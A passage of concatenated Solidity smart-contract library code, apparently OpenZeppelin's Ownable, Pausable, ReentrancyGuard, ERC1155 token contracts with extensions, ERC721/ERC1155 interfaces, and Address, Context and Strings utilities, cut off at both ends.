`onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC1155.sol"; import "./IERC1155Receiver.sol"; import "./extensions/IERC1155MetadataURI.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(_msgSender() != operator, "ERC1155: setting approval status for self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. * * Emits a {TransferSingle} event. * * Requirements: * * - `account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address account, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] += amount; emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn( address account, uint256 id, uint256 amount ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } } emit TransferBatch(operator, account, address(0), ids, amounts); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC1155.sol"; /** * @dev Extension of {ERC1155} that allows token holders to destroy both their * own tokens and those that they have been approved to use. * * _Available since v3.1._ */ abstract contract ERC1155Burnable is ERC1155 { function burn( address account, uint256 id, uint256 value ) public virtual { require( account == _msgSender() || isApprovedForAll(account, _msgSender()), "ERC1155: caller is not owner nor approved" ); _burn(account, id, value); } function burnBatch( address account, uint256[] memory ids, uint256[] memory values ) public virtual { require( account == _msgSender() || isApprovedForAll(account, _msgSender()), "ERC1155: caller is not owner nor approved" ); _burnBatch(account, ids, values); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC1155.sol"; /** * @dev Extension of ERC1155 that adds tracking of total supply per id. * * Useful for scenarios where Fungible and Non-fungible tokens have to be * clearly identified. Note: While a totalSupply of 1 might mean the * corresponding is an NFT, there is no guarantees that no other token with the * same id are not going to be minted. */ abstract contract ERC1155Supply is ERC1155 { mapping(uint256 => uint256) private _totalSupply; /** * @dev Total amount of tokens in with a given id. */ function totalSupply(uint256 id) public view virtual returns (uint256) { return _totalSupply[id]; } /** * @dev Indicates weither any token exist with a given id, or not. */ function exists(uint256 id) public view virtual returns (bool) { return ERC1155Supply.totalSupply(id) > 0; } /** * @dev See {ERC1155-_mint}. */ function _mint( address account, uint256 id, uint256 amount, bytes memory data ) internal virtual override { super._mint(account, id, amount, data); _totalSupply[id] += amount; } /** * @dev See {ERC1155-_mintBatch}. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual override { super._mintBatch(to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { _totalSupply[ids[i]] += amounts[i]; } } /** * @dev See {ERC1155-_burn}. */ function _burn( address account, uint256 id, uint256 amount ) internal virtual override { super._burn(account, id, amount); _totalSupply[id] -= amount; } /** * @dev See {ERC1155-_burnBatch}. */ function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts ) internal virtual override { super._burnBatch(account, ids, amounts); for (uint256 i = 0; i < ids.length; ++i) { _totalSupply[ids[i]] -= amounts[i]; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC1155.sol"; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 